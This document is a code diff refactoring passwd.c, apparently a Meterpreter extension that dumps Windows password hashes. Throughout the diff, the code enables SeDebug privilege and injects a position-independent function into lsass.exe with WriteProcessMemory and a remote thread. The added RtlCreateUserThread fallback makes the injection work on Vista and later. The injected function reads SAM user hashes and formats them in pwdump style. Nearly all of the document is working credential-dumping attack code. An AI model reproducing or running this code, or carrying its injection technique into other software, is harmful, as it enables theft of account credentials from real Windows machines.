@@ -1,3 +1,7 @@
+/*!
+ * @file passwd.c
+ * @brief Functionality for dumping password hashes from lsass.exe.
+ */
 #include "precomp.h"
 #include <stdio.h>
 #include <windows.h>
@@ -8,23 +12,37 @@
 #include <stdlib.h>
 #include <malloc.h>
 
-/* define the type of information to retrieve from the SAM */
+/*! @brief Define the type of information to retrieve from the SAM. */
 #define SAM_USER_INFO_PASSWORD_OWFS 0x12
 
-/* define types for samsrv functions */
+/*!
+ * @brief Name of the cross-session event name used to sync reads between threads.
+ * @remark It is very important that the event is prefixed with "Global\" otherwise it will
+ *         not be shared across processes that are in different sessions.
+ */
+#define READ_SYNC_EVENT_NAME "Global\\SAM"
+/*!
+ * @brief Name of the cross-session event name used to sync resource deallocation between threads.
+ * @remark It is very important that the event is prefixed with "Global\" otherwise it will
+ *         not be shared across processes that are in different sessions.
+ */
+#define FREE_SYNC_EVENT_NAME "Global\\FREE"
+
+/*! @brief Struct that represents a SAM user in Windows. */
 typedef struct _SAM_DOMAIN_USER
 {
 	DWORD				dwUserId;
 	LSA_UNICODE_STRING  wszUsername;
 } SAM_DOMAIN_USER;
 
+/*! @brief Struct that contains SAM user enumeration context. */
 typedef struct _SAM_DOMAIN_USER_ENUMERATION
 {
 	DWORD               dwDomainUserCount;
 	SAM_DOMAIN_USER     *pSamDomainUser;
 } SAM_DOMAIN_USER_ENUMERATION;
 
-/* define the type for passing data */
+/*! @brief DTO-style object for passing data between Meterpreter and lsass. */
 typedef struct _USERNAMEHASH
 {
 	char	*Username;
@@ -42,10 +60,9 @@ typedef BOOL	(WINAPI *SetEventType)(HANDLE);
 typedef BOOL	(WINAPI *CloseHandleType)(HANDLE);
 typedef DWORD	(WINAPI *WaitForSingleObjectType)(HANDLE, DWORD);
 
-/* define the context/argument structure */
+/*! Container for context that is given to the remote thread executed in lsass.exe. */
 typedef struct
 {
-
 	/* kernel32 function pointers */
 	LoadLibraryType			LoadLibrary;
 	GetProcAddressType		GetProcAddress;
@@ -84,8 +101,8 @@ typedef struct
 	char wcstombs[9];
 
 	/* kernel sync object strings */
-	char ReadSyncEvent[4];
-	char FreeSyncEvent[5];
+	char ReadSyncEvent[11];
+	char FreeSyncEvent[12];
 
 	/* maximum wait time for sync */
 	DWORD dwMillisecondsToWait;
@@ -121,9 +138,78 @@ typedef void *(*MemcpyType)(void *, const void *, size_t);
 /* define types for ntdll */
 typedef size_t (*WcstombsType)(char *, const wchar_t *, size_t);
 
+/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */
+typedef struct _MIMI_CLIENT_ID {
+	PVOID UniqueProcess;
+	PVOID UniqueThread;
+} CLIENTID;
 
+/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */
+typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, char, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*);
+/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */
+static PRtlCreateUserThread pRtlCreateUserThread = NULL;
+/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */
+static BOOL pRtlCreateUserThreadAttempted = FALSE;
 
-char *StringCombine(char *string1, char *string2)
+/*!
+ * @brief Helper function for creating a remote thread in a privileged process.
+ * @param hProcess Handle to the target processj.
+ * @param pvStartAddress Pointer to the function entry point that has been loaded into the target.
+ * @param pvStartParam Pointer to the parameter to pass to the thread function.
+ * @return Handle to the new thread.
+ * @retval NULL Indicates an error, which can be retrieved with \c GetLastError().
+ * @remark This function has been put in place to wrap up the handling of creating remote threads
+ *         in privileged processes across all operating systems. In Windows XP and earlier, the
+ *         \c CreateRemoteThread() function was sufficient to handle this case, however this changed
+ *         in Vista and has been that way since. For Vista onwards, the use of the hidden API function
+ *         \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread()
+ *         first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the
+ *         existing behaviour is kept for when running on XP and earlier, or when the user is already
+ *         running within a privileged process.
+ */
+HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam)
+{
+	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, 0, NULL);
+
+	// ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs
+	// on Vista and later.
+	if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY)
+	{
+		dprintf("[PASSWD] CreateRemoteThread seems to lack permissions, trying alternative options");
+		hThread = NULL;
+
+		// Only attempt to load the function pointer if we haven't attempted it already.
+		if (!pRtlCreateUserThreadAttempted)
+		{
+			if (pRtlCreateUserThread == NULL)
+			{
+				pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");
+				if (pRtlCreateUserThread)
+				{
+					dprintf("[PASSWD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread);
+				}
+			}
+			pRtlCreateUserThreadAttempted = TRUE;
+		}
+
+		// if at this point we don't have a valid pointer, it means that we don't have this function available
+		// on the current OS
+		if (pRtlCreateUserThread)
+		{
+			dprintf("[PASSWD] Attempting thread creation with RtlCreateUserThread");
+			SetLastError(pRtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL));
+		}
+		else
+		{
+			// restore the previous error so that it looks like we haven't done anything else
+			SetLastError(ERROR_NOT_ENOUGH_MEMORY);
+		}
+	}
+
+	return hThread;
+}
+
+char *string_combine(char *string1, char *string2)
 {
 	size_t s1len, s2len;
 
@@ -152,7 +238,12 @@ char *StringCombine(char *string1, char *string2)
 }
 
 /* retrieve a handle to lsass.exe */
-HANDLE GetLsassHandle()
+/*!
+ * @brief Locate lsass.exe and get a handle to the process.
+ * @returns A handle to the lsass process, if found.
+ * @retval NULL Indicates that the lsass process couldn't be found.
+ */
+HANDLE get_lsass_handle()
 {
 
 	DWORD	dwProcessList[1024];
@@ -176,12 +267,10 @@ HANDLE GetLsassHandle()
 		{
 			if (hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessList[dwCount]))
 			{
-				if (GetModuleBaseName(hProcess, NULL, szProcessName, sizeof(szProcessName)))
+				if (GetModuleBaseName(hProcess, NULL, szProcessName, sizeof(szProcessName))
+					&& strcmp(szProcessName, "lsass.exe") == 0)
 				{
-					if (strcmp(szProcessName, "lsass.exe") == 0)
-					{
-						return hProcess;
-					}
+					return hProcess;
 				}
 				CloseHandle(hProcess);
 			}
@@ -190,32 +279,60 @@ HANDLE GetLsassHandle()
 	return 0;
 }
 
-/* set the process to have the SE_DEBUG_NAME privilige */
-int SetAccessPriv()
+/*!
+ * @brief Add the SE_DEBUG_NAME privilige to the current process.
+ */
+DWORD set_access_priv()
 {
-    HANDLE hToken;
+	DWORD dwResult;
+    HANDLE hToken = NULL;
     TOKEN_PRIVILEGES priv;
 
-	/* open the current process token, retrieve the LUID for SeDebug, enable the privilege, reset the token information */
-	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
+	do
 	{
-		if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
+		/* open the current process token, retrieve the LUID for SeDebug, enable the privilege, reset the token information */
+		if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
 		{
-			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-			priv.PrivilegeCount = 1;
- 
-			if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
-			{
-				CloseHandle(hToken);
-				return 1;
-			}
+			dwResult = GetLastError();
+			dprintf("[PASSWD] Failed to open process: %u (%x)", dwResult, dwResult);
+			break;
 		}
+
+		if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
+		{
+			dwResult = GetLastError();
+			dprintf("[PASSWD] Failed to lookup priv value: %u (%x)", dwResult, dwResult);
+			break;
+		}
+
+		priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+		priv.PrivilegeCount = 1;
+ 
+		if (!AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
+		{
+			dwResult = GetLastError();
+			dprintf("[PASSWD] Failed to adjust token privs: %u (%x)", dwResult, dwResult);
+			break;
+		}
+
+		dwResult = ERROR_SUCCESS;
+	} while (0);
+
+	if (hToken != NULL)
+	{
 		CloseHandle(hToken);
 	}
-	return 0;
+
+	return dwResult;
 }
 
-int dumpSAM(FUNCTIONARGS *fargs)
+/*!
+ * @brief Function that is copied to lsass and run in a separate thread to dump hashes.
+ * @param fargs Collection of arguments containing important information, handles and pointers.
+ * @remark The code in this fuction _must_ be position-independent. No direct calls to functions
+ *         are to be made.
+ */
+DWORD dump_sam(FUNCTIONARGS *fargs)
 {
 	/* variables for samsrv function pointers */
 	HANDLE hSamSrv = NULL, hSam = NULL;
@@ -516,96 +633,107 @@ cleanup:
 }
 
 #ifdef _WIN64
-#define sizer setArgs
+#define sizer setup_dump_sam_arguments
 #else
 void sizer() { __asm { ret } }
 #endif
 
-/* initialize the context structure - returns 0 on success, return 1 on error */
-int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait)
+/*!
+ * @brief Initialize the context structure that is used for retaining context in the remote thread.
+ * @returns Indcation of success or failure.
+ */
+DWORD setup_dump_sam_arguments(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait)
 {
-
+	DWORD dwResult;
 	HMODULE hLibrary = NULL;
 
-	/* set loadlibrary and getprocaddress function addresses */
-	hLibrary = LoadLibrary("kernel32");
-	if (hLibrary == NULL)
+	do
 	{
-		return 1;
+		/* set loadlibrary and getprocaddress function addresses */
+		hLibrary = LoadLibrary("kernel32");
+		if (hLibrary == NULL)
+		{
+			BREAK_ON_ERROR("[PASSWD] Unable to get kernel32 handle");
+		}
+
+		fargs->LoadLibrary = (LoadLibraryType)GetProcAddress(hLibrary, "LoadLibraryA");
+		fargs->GetProcAddress = (GetProcAddressType)GetProcAddress(hLibrary, "GetProcAddress");
+		fargs->FreeLibrary = (FreeLibraryType)GetProcAddress(hLibrary, "FreeLibrary");
+		fargs->OpenEvent = (OpenEventType)GetProcAddress(hLibrary, "OpenEventA");
+		fargs->SetEvent = (SetEventType)GetProcAddress(hLibrary, "SetEvent");
+		fargs->CloseHandle = (CloseHandleType)GetProcAddress(hLibrary, "CloseHandle");
+		fargs->WaitForSingleObject = (WaitForSingleObjectType)GetProcAddress(hLibrary, "WaitForSingleObject");
+
+		if (!fargs->LoadLibrary || !fargs->GetProcAddress || !fargs->FreeLibrary || !fargs->OpenEvent || !fargs->SetEvent || !fargs->CloseHandle || !fargs->WaitForSingleObject)
+		{
+			dwResult = ERROR_INVALID_PARAMETER;
+			dprintf("[PASSWD] Unable to find all required functions");
+			break;
+		}
+
+		/* initialize samsrv strings */
+		strncpy_s(fargs->samsrvdll, sizeof(fargs->samsrvdll), "samsrv.dll", sizeof(fargs->samsrvdll));
+		strncpy_s(fargs->samiconnect, sizeof(fargs->samiconnect), "SamIConnect", sizeof(fargs->samiconnect));
+		strncpy_s(fargs->samropendomain, sizeof(fargs->samropendomain), "SamrOpenDomain", sizeof(fargs->samropendomain));
+		strncpy_s(fargs->samropenuser, sizeof(fargs->samropenuser), "SamrOpenUser", sizeof(fargs->samropenuser));
+		strncpy_s(fargs->samrqueryinformationuser, sizeof(fargs->samrqueryinformationuser), "SamrQueryInformationUser", sizeof(fargs->samrqueryinformationuser));
+		strncpy_s(fargs->samrenumerateusersindomain, sizeof(fargs->samrenumerateusersindomain), "SamrEnumerateUsersInDomain", sizeof(fargs->samrenumerateusersindomain));
+		strncpy_s(fargs->samifree_sampr_user_info_buffer, sizeof(fargs->samifree_sampr_user_info_buffer), "SamIFree_SAMPR_USER_INFO_BUFFER", sizeof(fargs->samifree_sampr_user_info_buffer));
+		strncpy_s(fargs->samifree_sampr_enumeration_buffer, sizeof(fargs->samifree_sampr_enumeration_buffer), "SamIFree_SAMPR_ENUMERATION_BUFFER", sizeof(fargs->samifree_sampr_enumeration_buffer));
+		strncpy_s(fargs->samrclosehandle, sizeof(fargs->samrclosehandle), "SamrCloseHandle", sizeof(fargs->samrclosehandle));
+
+		/* initialize advapi32 strings */
+		strncpy_s(fargs->advapi32dll, sizeof(fargs->advapi32dll), "advapi32.dll", sizeof(fargs->advapi32dll));
+		strncpy_s(fargs->lsaopenpolicy, sizeof(fargs->lsaopenpolicy), "LsaOpenPolicy", sizeof(fargs->lsaopenpolicy));
+		strncpy_s(fargs->lsaqueryinformationpolicy, sizeof(fargs->lsaqueryinformationpolicy), "LsaQueryInformationPolicy", sizeof(fargs->lsaqueryinformationpolicy));
+		strncpy_s(fargs->lsaclose, sizeof(fargs->lsaclose), "LsaClose", sizeof(fargs->lsaclose));
+
+		/* initialize msvcrt strings */
+		strncpy_s(fargs->msvcrtdll, sizeof(fargs->msvcrtdll), "msvcrt.dll", sizeof(fargs->msvcrtdll));
+		strncpy_s(fargs->malloc, sizeof(fargs->malloc), "malloc", sizeof(fargs->malloc));
+		strncpy_s(fargs->realloc, sizeof(fargs->realloc), "realloc", sizeof(fargs->realloc));
+		strncpy_s(fargs->free, sizeof(fargs->free), "free", sizeof(fargs->free));
+		strncpy_s(fargs->memcpy, sizeof(fargs->memcpy), "memcpy", sizeof(fargs->memcpy));
+
+		/* initialize ntdll strings */
+		strncpy_s(fargs->ntdlldll, sizeof(fargs->ntdlldll), "ntdll.dll", sizeof(fargs->ntdlldll));
+		strncpy_s(fargs->wcstombs, sizeof(fargs->wcstombs), "wcstombs", sizeof(fargs->wcstombs));
+
+		/* initialize kernel sync objects */
+		strncpy_s(fargs->ReadSyncEvent, sizeof(fargs->ReadSyncEvent), READ_SYNC_EVENT_NAME, sizeof(fargs->ReadSyncEvent));
+		strncpy_s(fargs->FreeSyncEvent, sizeof(fargs->FreeSyncEvent), FREE_SYNC_EVENT_NAME, sizeof(fargs->FreeSyncEvent));
+
+		/* initialize wait time */
+		fargs->dwMillisecondsToWait = dwMillisecondsToWait;
+
+		/* initailize variables */
+		fargs->dwDataSize = 0;
+		fargs->pUsernameHashData = NULL;
+
+		dwResult = ERROR_SUCCESS;
+	} while (0);
+
+	if (hLibrary != NULL)
+	{
+		FreeLibrary(hLibrary);
 	}
 
-	fargs->LoadLibrary = (LoadLibraryType)GetProcAddress(hLibrary, "LoadLibraryA");
-	fargs->GetProcAddress = (GetProcAddressType)GetProcAddress(hLibrary, "GetProcAddress");
-	fargs->FreeLibrary = (FreeLibraryType)GetProcAddress(hLibrary, "FreeLibrary");
-	fargs->OpenEvent = (OpenEventType)GetProcAddress(hLibrary, "OpenEventA");
-	fargs->SetEvent = (SetEventType)GetProcAddress(hLibrary, "SetEvent");
-	fargs->CloseHandle = (CloseHandleType)GetProcAddress(hLibrary, "CloseHandle");
-	fargs->WaitForSingleObject = (WaitForSingleObjectType)GetProcAddress(hLibrary, "WaitForSingleObject");
-
-	if (!fargs->LoadLibrary || !fargs->GetProcAddress || !fargs->FreeLibrary || !fargs->OpenEvent || !fargs->SetEvent || !fargs->CloseHandle || !fargs->WaitForSingleObject)
-	{ 
-		CloseHandle(hLibrary);
-		return 1;
-	}
-
-	/* initialize samsrv strings */
-	strncpy_s(fargs->samsrvdll, sizeof(fargs->samsrvdll), "samsrv.dll", sizeof(fargs->samsrvdll));
-	strncpy_s(fargs->samiconnect, sizeof(fargs->samiconnect), "SamIConnect", sizeof(fargs->samiconnect));
-	strncpy_s(fargs->samropendomain, sizeof(fargs->samropendomain), "SamrOpenDomain", sizeof(fargs->samropendomain));
-	strncpy_s(fargs->samropenuser, sizeof(fargs->samropenuser), "SamrOpenUser", sizeof(fargs->samropenuser));
-	strncpy_s(fargs->samrqueryinformationuser, sizeof(fargs->samrqueryinformationuser), "SamrQueryInformationUser", sizeof(fargs->samrqueryinformationuser));
-	strncpy_s(fargs->samrenumerateusersindomain, sizeof(fargs->samrenumerateusersindomain), "SamrEnumerateUsersInDomain", sizeof(fargs->samrenumerateusersindomain));
-	strncpy_s(fargs->samifree_sampr_user_info_buffer, sizeof(fargs->samifree_sampr_user_info_buffer), "SamIFree_SAMPR_USER_INFO_BUFFER", sizeof(fargs->samifree_sampr_user_info_buffer));
-	strncpy_s(fargs->samifree_sampr_enumeration_buffer, sizeof(fargs->samifree_sampr_enumeration_buffer), "SamIFree_SAMPR_ENUMERATION_BUFFER", sizeof(fargs->samifree_sampr_enumeration_buffer));
-	strncpy_s(fargs->samrclosehandle, sizeof(fargs->samrclosehandle), "SamrCloseHandle", sizeof(fargs->samrclosehandle));
-
-	/* initialize advapi32 strings */
-	strncpy_s(fargs->advapi32dll, sizeof(fargs->advapi32dll), "advapi32.dll", sizeof(fargs->advapi32dll));
-	strncpy_s(fargs->lsaopenpolicy, sizeof(fargs->lsaopenpolicy), "LsaOpenPolicy", sizeof(fargs->lsaopenpolicy));
-	strncpy_s(fargs->lsaqueryinformationpolicy, sizeof(fargs->lsaqueryinformationpolicy), "LsaQueryInformationPolicy", sizeof(fargs->lsaqueryinformationpolicy));
-	strncpy_s(fargs->lsaclose, sizeof(fargs->lsaclose), "LsaClose", sizeof(fargs->lsaclose));
-
-	/* initialize msvcrt strings */
-	strncpy_s(fargs->msvcrtdll, sizeof(fargs->msvcrtdll), "msvcrt.dll", sizeof(fargs->msvcrtdll));
-	strncpy_s(fargs->malloc, sizeof(fargs->malloc), "malloc", sizeof(fargs->malloc));
-	strncpy_s(fargs->realloc, sizeof(fargs->realloc), "realloc", sizeof(fargs->realloc));
-	strncpy_s(fargs->free, sizeof(fargs->free), "free", sizeof(fargs->free));
-	strncpy_s(fargs->memcpy, sizeof(fargs->memcpy), "memcpy", sizeof(fargs->memcpy));
-
-	/* initialize ntdll strings */
-	strncpy_s(fargs->ntdlldll, sizeof(fargs->ntdlldll), "ntdll.dll", sizeof(fargs->ntdlldll));
-	strncpy_s(fargs->wcstombs, sizeof(fargs->wcstombs), "wcstombs", sizeof(fargs->wcstombs));
-
-	/* initialize kernel sync objects */
-	strncpy_s(fargs->ReadSyncEvent, sizeof(fargs->ReadSyncEvent), "SAM", sizeof(fargs->ReadSyncEvent));
-	strncpy_s(fargs->FreeSyncEvent, sizeof(fargs->FreeSyncEvent), "FREE", sizeof(fargs->FreeSyncEvent));
-
-	/* initialize wait time */
-	fargs->dwMillisecondsToWait = dwMillisecondsToWait;
-
-	/* initailize variables */
-	fargs->dwDataSize = 0;
-	fargs->pUsernameHashData = NULL;
-
-	/* clean up */
-	CloseHandle(hLibrary);
-
-	return 0;
+	return dwResult;
 }
 
-/* 
-control function driving the dumping - return 0 on success, 1 on error 
-
-dwMillisecondsToWait = basically controls how long to wait for the results
+/*!
+ * @brief Function driving the SAM dumping.
+ * @param dwMillisecondsToWait How long to wait for the results before giving up.
+ * @param hashresults Pointer that will receive the hash dump results.
+ * @returns Indication of success or failure.
 */
-int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults)
+DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults)
 {
-
 	HANDLE hThreadHandle = NULL, hLsassHandle = NULL, hReadLock = NULL, hFreeLock = NULL;
 	LPVOID pvParameterMemory = NULL, pvFunctionMemory = NULL;
-	int FunctionSize;
+	DWORD_PTR dwFunctionSize;
 	SIZE_T sBytesWritten = 0, sBytesRead = 0;
-	DWORD dwThreadId = 0, dwNumberOfUsers = 0, dwCurrentUserIndex = 0, HashIndex = 0;
+	DWORD dwNumberOfUsers = 0, dwCurrentUserIndex = 0, HashIndex = 0;
 	FUNCTIONARGS InitFunctionArguments, FinalFunctionArguments;
 	USERNAMEHASH *UsernameHashResults = NULL;
 	PVOID UsernameAddress = NULL;
@@ -630,103 +758,120 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
 		}
 
 		/* create the event kernel sync objects */
-		hReadLock = CreateEvent(NULL, FALSE, FALSE, "SAM");
-		hFreeLock = CreateEvent(NULL, FALSE, FALSE, "FREE");
+		hReadLock = CreateEvent(NULL, FALSE, FALSE, READ_SYNC_EVENT_NAME);
+		hFreeLock = CreateEvent(NULL, FALSE, FALSE, FREE_SYNC_EVENT_NAME);
+
 		if (!hReadLock || !hFreeLock)
 		{
-			dwError = 1; break;
+			dwError = GetLastError();
+			break;
 		}
 
 		/* calculate the function size */
-		FunctionSize = (DWORD)sizer - (DWORD)dumpSAM;
-		if (FunctionSize <= 0)
+		if ((DWORD_PTR)dump_sam >= (DWORD_PTR)sizer)
 		{
-			dprintf("Error calculating the function size.\n");
-			dwError = 1;
+			dprintf("Error calculating the function size.");
+			dwError = ERROR_INVALID_PARAMETER;
 			break;
 		}
 
-		/* set access priv */
-		if (SetAccessPriv() == 0)
+		dwFunctionSize = (DWORD_PTR)sizer - (DWORD_PTR)dump_sam;
+
+		if ((dwError = set_access_priv()) != ERROR_SUCCESS)
 		{
-			dprintf("Error setting SE_DEBUG_NAME privilege\n");
-			dwError = 1;
+			dprintf("Error setting SE_DEBUG_NAME privilege: %u (%x)");
 			break;
 		}
 
-		/* get the lsass handle */
-		hLsassHandle = GetLsassHandle();
+		hLsassHandle = get_lsass_handle();
 		if (hLsassHandle == 0)
 		{
-			dprintf("Error getting lsass.exe handle.\n");
-			dwError = 1;
+			dwError = ERROR_INVALID_PARAMETER;
+			dprintf("Error getting lsass.exe handle.");
 			break;
 		}
 
 		/* set the arguments in the context structure */
-		if (setArgs(&InitFunctionArguments, dwMillisecondsToWait))
+		if ((dwError = setup_dump_sam_arguments(&InitFunctionArguments, dwMillisecondsToWait)) != ERROR_SUCCESS)
 		{
-			dwError = 1; break;
+			dprintf("[PASSWD] Unable to set arguments %u (%x)", dwError, dwError);
+			break;
 		}
 
 		/* allocate memory for the context structure */
 		pvParameterMemory = VirtualAllocEx(hLsassHandle, NULL, sizeof(FUNCTIONARGS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 		if (pvParameterMemory == NULL)
 		{
-			dwError = 1; break;
+			dwError = GetLastError();
+			dprintf("[PASSWD] Failed to allocat memory %u (%x)", dwError, dwError);
+			break;
 		}
 
 		/* write context structure into remote process */
 		if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &sBytesWritten) == 0)
 		{
-			dwError = 1; break;
+			dwError = GetLastError();
+			dprintf("[PASSWD] Failed to write process memory for function args %u (%x)", dwError, dwError);
+			break;
 		}
 		if (sBytesWritten != sizeof(InitFunctionArguments))
 		{
-			dwError = 1; break;
+			dwError = 1;
+			break;
 		}
 		sBytesWritten = 0;
 
 		/* allocate memory for the function */
-		pvFunctionMemory = VirtualAllocEx(hLsassHandle, NULL, FunctionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+		pvFunctionMemory = VirtualAllocEx(hLsassHandle, NULL, dwFunctionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 		if (pvFunctionMemory == NULL)
 		{
-			dwError = 1; break;
+			dwError = GetLastError();
+			dprintf("[PASSWD] Failed to allocate process memory %u (%x)", dwError, dwError);
+			break;
 		}
 
 		/* write the function into the remote process */
-		if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dumpSAM, FunctionSize, &sBytesWritten) == 0)
+		if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dump_sam, dwFunctionSize, &sBytesWritten) == 0)
 		{
-			dwError = 1; break;
+			dwError = GetLastError();
+			dprintf("[PASSWD] Failed to write process memory for function body %u (%x)", dwError, dwError);
+			break;
 		}
-		if (sBytesWritten != FunctionSize)
+
+		if (sBytesWritten != dwFunctionSize)
 		{
-			dwError = 1; break;
+			dwError = 1;
+			break;
 		}
 		sBytesWritten = 0;
 
 		/* start the remote thread */
-		if ((hThreadHandle = CreateRemoteThread(hLsassHandle, NULL, 0, (LPTHREAD_START_ROUTINE)pvFunctionMemory, pvParameterMemory, 0, &dwThreadId)) == NULL)
+		if ((hThreadHandle = create_remote_thread(hLsassHandle, pvFunctionMemory, pvParameterMemory)) == NULL)
 		{
-			dwError = 1; break;
+			dwError = GetLastError();
+			dprintf("[PASSWD] Failed to create remote thread %u (%x)", dwError, dwError);
+			break;
 		}
 
 		/* wait until the data is ready to be collected */
 		if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0)
 		{
-			dprintf("Timed out waiting for the data to be collected.\n");
-			dwError = 1;
+			dwError = GetLastError();
+			dprintf("[PASSWD] Timed out waiting for the data to be collected: %u (%x)", dwError, dwError);
 			break;
 		}
 
 		/* read results of the injected function */
 		if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &sBytesRead) == 0)
 		{
-			dwError = 1; break;
+			dwError = GetLastError();
+			dprintf("[PASSWD] Failed to read process memory to get result: %u (%x)", dwError, dwError);
+			break;
 		}
 		if (sBytesRead != sizeof(InitFunctionArguments))
 		{
-			dwError = 1; break;
+			dwError = 1;
+			break;
 		}
 		sBytesRead = 0;
 
@@ -734,7 +879,8 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
 		UsernameHashResults = (USERNAMEHASH *)malloc(FinalFunctionArguments.dwDataSize);
 		if (UsernameHashResults == NULL)
 		{
-			dwError = 1; break;
+			dwError = 1;
+			break;
 		}
 
 		/* determine the number of elements and copy over the data */
@@ -743,6 +889,8 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
 		/* copy the context structure */
 		if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &sBytesRead) == 0)
 		{
+			dwError = GetLastError();
+			dprintf("[PASSWD] Failed to read process memory to get hashresults: %u (%x)", dwError, dwError);
 			break;
 		}
 		if (sBytesRead != FinalFunctionArguments.dwDataSize)
@@ -759,16 +907,19 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
 			UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length + 1);
 			if (UsernameHashResults[dwCurrentUserIndex].Username == NULL)
 			{
-				dwError = 1; break;
+				dwError = 1;
+				break;
 			}
 
 			if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0)
 			{
-				dwError = 1; break;
+				dwError = 1;
+				break;
 			}
 			if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length)
 			{
-				dwError = 1; break;
+				dwError = 1;
+				break;
 			}
 			UsernameHashResults[dwCurrentUserIndex].Username[UsernameHashResults[dwCurrentUserIndex].Length] = 0;
 		}
@@ -776,7 +927,8 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
 		/* signal that all data has been read and wait for the remote memory to be free'd */
 		if (SetEvent(hFreeLock) == 0)
 		{
-			dwError = 1; break;
+			dwError = 1;
+			break;
 		}
 		if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0)
 		{
@@ -790,11 +942,11 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
 		{
 
 			/* METERPRETER CODE */
-			hashstring = StringCombine(hashstring, UsernameHashResults[dwCurrentUserIndex].Username);
-			hashstring = StringCombine(hashstring, ":");
+			hashstring = string_combine(hashstring, UsernameHashResults[dwCurrentUserIndex].Username);
+			hashstring = string_combine(hashstring, ":");
 			_snprintf_s(buffer, sizeof(buffer), 30, "%d", UsernameHashResults[dwCurrentUserIndex].RID);
-			hashstring = StringCombine(hashstring, buffer);
-			hashstring = StringCombine(hashstring, ":");
+			hashstring = string_combine(hashstring, buffer);
+			hashstring = string_combine(hashstring, ":");
 			/* END METERPRETER CODE */
 
 			//printf("%s:%d:", UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].RID);
@@ -806,10 +958,10 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
 					sprintf( LMdata, "NO PASSWORD*********************" );
 					*/
 				_snprintf_s(buffer, sizeof(buffer), 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
-				hashstring = StringCombine(hashstring, buffer);
+				hashstring = string_combine(hashstring, buffer);
 				//printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
 			}
-			hashstring = StringCombine(hashstring, ":");
+			hashstring = string_combine(hashstring, ":");
 			//printf(":");
 			for (HashIndex = 0; HashIndex < 16; HashIndex++)
 			{
@@ -819,11 +971,11 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
 					sprintf( NTdata, "NO PASSWORD*********************" );
 					*/
 				_snprintf_s(buffer, sizeof(buffer), 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
-				hashstring = StringCombine(hashstring, buffer);
+				hashstring = string_combine(hashstring, buffer);
 				//printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
 			}
 
-			hashstring = StringCombine(hashstring, ":::\n");
+			hashstring = string_combine(hashstring, ":::\n");
 			//printf(":::\n");
 		}
 	} while (0);
@@ -851,7 +1003,7 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
 	}
 	if (pvFunctionMemory)
 	{
